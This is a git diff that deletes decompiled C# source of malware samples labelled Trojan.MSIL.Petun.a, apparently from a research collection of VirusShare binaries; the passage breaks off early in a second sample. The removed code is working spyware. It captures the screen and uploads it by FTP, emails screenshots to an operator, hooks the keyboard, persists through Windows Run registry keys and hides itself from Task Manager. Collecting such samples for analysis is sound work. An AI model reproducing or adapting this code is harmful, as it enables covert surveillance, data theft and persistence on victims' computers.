ProjectData.ClearProjectError(); - } - return str1; - } - - public static string UpFTPImg( - ref string Host, - ref string Dir, - ref string Username, - ref string Password) - { - string str1; - try - { - string str2 = "\\" + Module1.LT; - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - MyProject.Computer.Network.UploadFile(Path.GetTempPath() + str2 + ".gif", "ftp://" + Host + Dir + str2 + ".gif", Username, Password); - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - str1 = "FTP information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "FTP information is invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - public static string SendEmail( - ref string SMTP, - ref string Froma, - ref string Password, - ref string Recipient, - ref string Subject, - ref string Body, - ref int Port, - ref bool TakePic = false) - { - string str1; - try - { - MailMessage message = new MailMessage(); - message.From = new MailAddress(Froma); - message.To.Add(Recipient); - message.Subject = Subject; - message.Body = Body; - SmtpClient smtpClient = new SmtpClient(SMTP); - string str2 = "\\" + Module1.LT; - if (TakePic) - { - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - Attachment attachment = new Attachment(Path.GetTempPath() + str2 + ".gif"); - message.Attachments.Add(attachment); - } - smtpClient.Port = Port; - smtpClient.EnableSsl = true; - smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(Froma, Password); - smtpClient.Send(message); - if (Module1.TakeScrns) - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - str1 = "Email information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "Email information invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - private static string TripleDESEncode(string value, string key) - { - TripleDESCryptoServiceProvider cryptoServiceProvider = new TripleDESCryptoServiceProvider(); - cryptoServiceProvider.IV = new byte[8]; - PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, new byte[0]); - cryptoServiceProvider.Key = passwordDeriveBytes.CryptDeriveKey("RC2", "MD5", 128, new byte[8]); - MemoryStream memoryStream = new MemoryStream(checked (value.Length * 2 - 1)); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider.CreateEncryptor(), CryptoStreamMode.Write); - byte[] bytes = Encoding.UTF8.GetBytes(value); - cryptoStream.Write(bytes, 0, bytes.Length); - cryptoStream.FlushFinalBlock(); - byte[] numArray = new byte[checked ((int) (memoryStream.Length - 1L) + 1)]; - memoryStream.Position = 0L; - memoryStream.Read(numArray, 0, checked ((int) memoryStream.Length)); - cryptoStream.Close(); - return Convert.ToBase64String(numArray); - } - - public static string TripleDESDecode(string value, string key) - { - TripleDESCryptoServiceProvider cryptoServiceProvider = new TripleDESCryptoServiceProvider(); - cryptoServiceProvider.IV = new byte[8]; - PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, new byte[0]); - cryptoServiceProvider.Key = passwordDeriveBytes.CryptDeriveKey("RC2", "MD5", 128, new byte[8]); - byte[] buffer = Convert.FromBase64String(value); - MemoryStream memoryStream = new MemoryStream(value.Length); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Write); - cryptoStream.Write(buffer, 0, buffer.Length); - cryptoStream.FlushFinalBlock(); - byte[] numArray = new byte[checked ((int) (memoryStream.Length - 1L) + 1)]; - memoryStream.Position = 0L; - memoryStream.Read(numArray, 0, checked ((int) memoryStream.Length)); - cryptoStream.Close(); - return Encoding.UTF8.GetString(numArray); - } - - public struct hraaNN - { - public int vkCode; - public int scanCode; - public int flags; - public int time; - public int dwExtraInfo; - } - - public enum rIxBsRu - { - K_Backspace = 8, - K_Tab = 9, - K_Return = 13, // 0x0000000D - K_Shift = 16, // 0x00000010 - K_Control = 17, // 0x00000011 - K_Alt = 18, // 0x00000012 - K_Pause = 19, // 0x00000013 - K_CapsLock = 20, // 0x00000014 - K_Esc = 27, // 0x0000001B - K_Space = 32, // 0x00000020 - NnOZTl = 35, // 0x00000023 - yQfBnx = 36, // 0x00000024 - K_Left = 37, // 0x00000025 - K_Up = 38, // 0x00000026 - K_Right = 39, // 0x00000027 - K_Down = 40, // 0x00000028 - K_PrintScreen = 44, // 0x0000002C - CJyeno = 45, // 0x0000002D - rNaOzb = 46, // 0x0000002E - K_0 = 48, // 0x00000030 - K_1 = 49, // 0x00000031 - K_2 = 50, // 0x00000032 - K_3 = 51, // 0x00000033 - K_4 = 52, // 0x00000034 - K_5 = 53, // 0x00000035 - K_6 = 54, // 0x00000036 - K_7 = 55, // 0x00000037 - K_8 = 56, // 0x00000038 - K_9 = 57, // 0x00000039 - K_A = 65, // 0x00000041 - K_B = 66, // 0x00000042 - K_C = 67, // 0x00000043 - K_D = 68, // 0x00000044 - K_E = 69, // 0x00000045 - K_F = 70, // 0x00000046 - K_G = 71, // 0x00000047 - K_H = 72, // 0x00000048 - K_I = 73, // 0x00000049 - K_J = 74, // 0x0000004A - K_K = 75, // 0x0000004B - K_L = 76, // 0x0000004C - K_M = 77, // 0x0000004D - K_N = 78, // 0x0000004E - K_O = 79, // 0x0000004F - K_P = 80, // 0x00000050 - K_Q = 81, // 0x00000051 - K_R = 82, // 0x00000052 - K_S = 83, // 0x00000053 - K_T = 84, // 0x00000054 - K_U = 85, // 0x00000055 - K_V = 86, // 0x00000056 - K_W = 87, // 0x00000057 - K_X = 88, // 0x00000058 - K_Y = 89, // 0x00000059 - K_Z = 90, // 0x0000005A - K_LWin = 91, // 0x0000005B - K_RWin = 92, // 0x0000005C - K_Numpad0 = 96, // 0x00000060 - K_Numpad1 = 97, // 0x00000061 - K_Numpad2 = 98, // 0x00000062 - K_Numpad3 = 99, // 0x00000063 - K_Numpad4 = 100, // 0x00000064 - K_Numpad5 = 101, // 0x00000065 - K_Numpad6 = 102, // 0x00000066 - K_Numpad7 = 103, // 0x00000067 - K_Numpad8 = 104, // 0x00000068 - K_Numpad9 = 105, // 0x00000069 - K_Num_Multiply = 106, // 0x0000006A - K_Num_Add = 107, // 0x0000006B - K_Num_Subtract = 109, // 0x0000006D - K_Num_Decimal = 110, // 0x0000006E - K_Num_Divide = 111, // 0x0000006F - K_F1 = 112, // 0x00000070 - K_F2 = 113, // 0x00000071 - K_F3 = 114, // 0x00000072 - K_F4 = 115, // 0x00000073 - K_F5 = 116, // 0x00000074 - K_F6 = 117, // 0x00000075 - K_F7 = 118, // 0x00000076 - K_F8 = 119, // 0x00000077 - K_F9 = 120, // 0x00000078 - K_F10 = 121, // 0x00000079 - K_F11 = 122, // 0x0000007A - K_F12 = 123, // 0x0000007B - K_F13 = 124, // 0x0000007C - K_F14 = 125, // 0x0000007D - K_F15 = 126, // 0x0000007E - K_F16 = 127, // 0x0000007F - K_F17 = 128, // 0x00000080 - K_F18 = 129, // 0x00000081 - K_F19 = 130, // 0x00000082 - K_F20 = 131, // 0x00000083 - K_F21 = 132, // 0x00000084 - K_F22 = 133, // 0x00000085 - K_F23 = 134, // 0x00000086 - K_F24 = 135, // 0x00000087 - K_NumLock = 144, // 0x00000090 - K_LShift = 160, // 0x000000A0 - K_RShift = 161, // 0x000000A1 - XXWbMF = 162, // 0x000000A2 - ZRpFxh = 163, // 0x000000A3 - K_LAlt = 164, // 0x000000A4 - K_RAlt = 165, // 0x000000A5 - K_Subtract = 189, // 0x000000BD - K_Decimal = 190, // 0x000000BE - } - - private delegate int KeyboardHookDelegate(int Code, int wParam, ref Module1.hraaNN lParam); -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51/My/MyApplication.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51/My/MyApplication.cs deleted file mode 100644 index b890f091..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51/My/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: "sn00zz's DDoS", Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CCFEA500-F919-4390-B930-946DFDA87BF8 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51/My/MyComputer.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51/My/MyComputer.cs deleted file mode 100644 index d8c8dc1a..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: "sn00zz's DDoS", Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CCFEA500-F919-4390-B930-946DFDA87BF8 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51/My/MyProject.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51/My/MyProject.cs deleted file mode 100644 index 278882fa..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51/My/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: "sn00zz's DDoS", Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CCFEA500-F919-4390-B930-946DFDA87BF8 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [HideModuleName] - [StandardModule] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51/NHZWtP.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51/NHZWtP.cs deleted file mode 100644 index 53d6746b..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51/NHZWtP.cs +++ /dev/null @@ -1,33 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: NHZWtP -// Assembly: "sn00zz's DDoS", Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CCFEA500-F919-4390-B930-946DFDA87BF8 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51.exe - -using System; -using System.Threading; - -internal class NHZWtP : IDisposable -{ - private readonly Mutex mMutex; - private bool _mMutexOwned; - - public NHZWtP(string name) - { - this.mMutex = new Mutex(false, name); - this._mMutexOwned = false; - } - - public bool IsRunning() - { - this._mMutexOwned = this.mMutex.WaitOne(0, true); - return !this._mMutexOwned; - } - - public void Dispose() - { - if (!this._mMutexOwned) - return; - this.mMutex.ReleaseMutex(); - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51/ROS.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51/ROS.cs deleted file mode 100644 index 6934ff6d..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51/ROS.cs +++ /dev/null @@ -1,105 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ROS -// Assembly: "sn00zz's DDoS", Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CCFEA500-F919-4390-B930-946DFDA87BF8 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using My; -using System; -using System.Windows.Forms; - -[StandardModule] -internal sealed class ROS -{ - public static bool get_Runonstartup(string CommandLine = null, ROS.StartupCheckCriteria Criteria = ROS.StartupCheckCriteria.Either) - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\uMxCbQ", true); - string Right = Strings.Trim(Application.ExecutablePath + " " + CommandLine); - bool runonstartup1; - if (Criteria != ROS.StartupCheckCriteria.NameOnly) - { - string[] valueNames = registryKey.GetValueNames(); - int index = 0; - while (index < valueNames.Length) - { - string str = valueNames[index]; - if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue(str), (object) Right, false)) - { - if (Operators.CompareString(str, MyProject.Application.Info.ProductName, false) != 0) - { - registryKey.DeleteValue(str); - registryKey.SetValue(Application.ProductName, (object) Right); - } - runonstartup1 = true; - break; - } - checked { ++index; } - } - } - bool runonstartup2; - if (Criteria != ROS.StartupCheckCriteria.PathOnly && ROS.InArray((Array) registryKey.GetValueNames(), Application.ProductName)) - { - if (Operators.ConditionalCompareObjectNotEqual(registryKey.GetValue(Application.ProductName), (object) Right, false)) - registryKey.SetValue(Application.ProductName, (object) Right); - runonstartup2 = true; - } - registryKey.Close(); - switch (Criteria) - { - case ROS.StartupCheckCriteria.Either: - return runonstartup1 | runonstartup2; - case ROS.StartupCheckCriteria.PathOnly: - return runonstartup2; - case ROS.StartupCheckCriteria.NameOnly: - return runonstartup1; - case ROS.StartupCheckCriteria.Both: - return runonstartup1 & runonstartup2; - default: - return false; - } - } - - public static void set_Runonstartup( - string CommandLine = null, - ROS.StartupCheckCriteria Criteria = ROS.StartupCheckCriteria.Either, - bool value) - { - RegistryKey registryKey = Operators.CompareString(Module1.KSHmvwu, "CurrentUser", false) != 0 ? Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true) : Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); - if (value) - registryKey.SetValue(MyProject.Application.Info.ProductName, (object) Strings.Trim(Application.ExecutablePath + " " + CommandLine)); - else if (ROS.InArray((Array) registryKey.GetValueNames(), Application.ProductName)) - registryKey.DeleteValue(Application.ProductName); - registryKey.Close(); - } - - public static bool InArray(Array Arr, string Str) - { - bool flag = false; - int num1 = Information.UBound(Arr); - int num2 = 0; - while (num2 <= num1) - { - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Arr, new object[1] - { - (object) num2 - }, (string[]) null), (object) Str, false)) - { - flag = true; - break; - } - checked { ++num2; } - } - return flag; - } - - public enum StartupCheckCriteria - { - Either, - PathOnly, - NameOnly, - Both, - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51/Trojan.MSIL.Petun.a.csproj b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51/Trojan.MSIL.Petun.a.csproj deleted file mode 100644 index 5fd8e968..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51/Trojan.MSIL.Petun.a.csproj +++ /dev/null @@ -1,48 +0,0 @@ - - - - - Debug - AnyCPU - {C2B6421A-1830-452D-8234-BF77DFC93E76} - WinExe - sn00zz's DDoS - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51/Trojan.MSIL.Petun.a.sln b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51/Trojan.MSIL.Petun.a.sln deleted file mode 100644 index 63866e51..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51/Trojan.MSIL.Petun.a.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "sn00zz's DDoS", "Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51.csproj", "{C2B6421A-1830-452D-8234-BF77DFC93E76}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {C2B6421A-1830-452D-8234-BF77DFC93E76}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {C2B6421A-1830-452D-8234-BF77DFC93E76}.Debug|Any CPU.Build.0 = Debug|Any CPU - {C2B6421A-1830-452D-8234-BF77DFC93E76}.Release|Any CPU.ActiveCfg = Release|Any CPU - {C2B6421A-1830-452D-8234-BF77DFC93E76}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e/AssemblyInfo.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e/HOeG.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e/HOeG.cs deleted file mode 100644 index 215b4312..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e/HOeG.cs +++ /dev/null @@ -1,113 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: HOeG -// Assembly: monkey5-uncrpyt, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C9DB5E83-934F-4D82-B759-EF1CCD8A3A5B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Runtime.InteropServices; -using System.Text; -using System.Windows.Forms; - -[StandardModule] -internal sealed class HOeG -{ - private const int LVM_FIRST = 4096; - private const int LVM_DELETECOLUMN = 4124; - private static Timer t = new Timer(); - - [DllImport("user32", EntryPoint = "SendMessageA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SendMessage(IntPtr Hwnd, int wMsg, int wParam, int lParam); - - [DllImport("user32.dll", EntryPoint = "FindWindowA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int FindWindow([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpWindowName); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int EnumChildWindows( - IntPtr hWndParent, - HOeG.EnumDelegate lpEnumFunc, - int lParam); - - [DllImport("user32.dll", EntryPoint = "GetClassNameA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern long GetClassName(long hWnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, long nMaxCount); - - [DllImport("user32", EntryPoint = "GetClassNameA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetClassName(IntPtr hWnd, StringBuilder lpClassName, int nMaxCount); - - [DllImport("user32", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int cch); - - [DllImport("user32", EntryPoint = "GetWindowTextLengthA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowTextLength(IntPtr hWnd); - - private static void t_Tick(object sender, EventArgs e) - { - string str1 = (string) null; - ref string local1 = ref str1; - string str2 = "Windows Task Manager"; - ref string local2 = ref str2; - IntPtr window = (IntPtr) HOeG.FindWindow(ref local1, ref local2); - if (!(window != (IntPtr) 0)) - return; - HOeG.EnumChildWindows(window, new HOeG.EnumDelegate(HOeG.EnumChildWindows), 0); - } - - public static bool Running - { - get => HOeG.t.Enabled; - set - { - if (value) - { - if (HOeG.t.Interval != 500) - { - Timer t = HOeG.t; - HOeG.t.Tick += new EventHandler(HOeG.t_Tick); - t.Interval = 500; - t.Enabled = true; - t.Start(); - } - else - { - HOeG.t.Enabled = true; - HOeG.t.Start(); - } - } - else - { - HOeG.t.Enabled = false; - HOeG.t.Stop(); - } - } - } - - private static int EnumChildWindows(IntPtr lngHwnd, int lngLParam) - { - string str = HOeG.GetClass(lngHwnd); - string titleText = HOeG.GetTitleText(lngHwnd); - lngHwnd.ToString() + ", " + str + ", " + titleText; - return 1; - } - - private static string GetClass(IntPtr handle) - { - StringBuilder lpClassName = new StringBuilder(); - lpClassName.Length = (int) byte.MaxValue; - HOeG.GetClassName(handle, lpClassName, lpClassName.Length); - if (Strings.InStr(lpClassName.ToString(), "SysListView32") != 0) - HOeG.SendMessage(handle, 4124, (int) (IntPtr) 0, 0); - return lpClassName.ToString(); - } - - private static string GetTitleText(IntPtr handle) - { - StringBuilder lpString = new StringBuilder(); - lpString.Length = checked (HOeG.GetWindowTextLength(handle) + 1); - HOeG.GetWindowText(handle, lpString, lpString.Length); - return lpString.ToString(); - } - - private delegate int EnumDelegate(IntPtr lngHwnd, int lngLParam); -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e/Module1.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e/Module1.cs deleted file mode 100644 index 7cc4a947..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e/Module1.cs +++ /dev/null @@ -1,1204 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Module1 -// Assembly: monkey5-uncrpyt, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C9DB5E83-934F-4D82-B759-EF1CCD8A3A5B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using My; -using System; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Net; -using System.Net.Mail; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -[StandardModule] -internal sealed class Module1 -{ - private static bool GrkrWii = true; - private static bool kSVpSWkuQ = false; - private static bool xCcDOIaXt = false; - private static bool czuYZGaf = false; - private static bool mtXkjzEG = false; - private static bool RWjgPcCC = false; - private static string eFQKc = "20"; - private static string VRdtJ = "AaD"; - private static int Psubh = 1; - private static string LMKPz = "jDXp"; - public static string uKzDuTwbZ = "CurrentUser"; - private static string MNnwJkFjI = "kaGOPN"; - private static string kpmxPQlmv = "dpsHcenxsW"; - private static string TOONSD = "iexplorer.exe"; - private static string SDDate 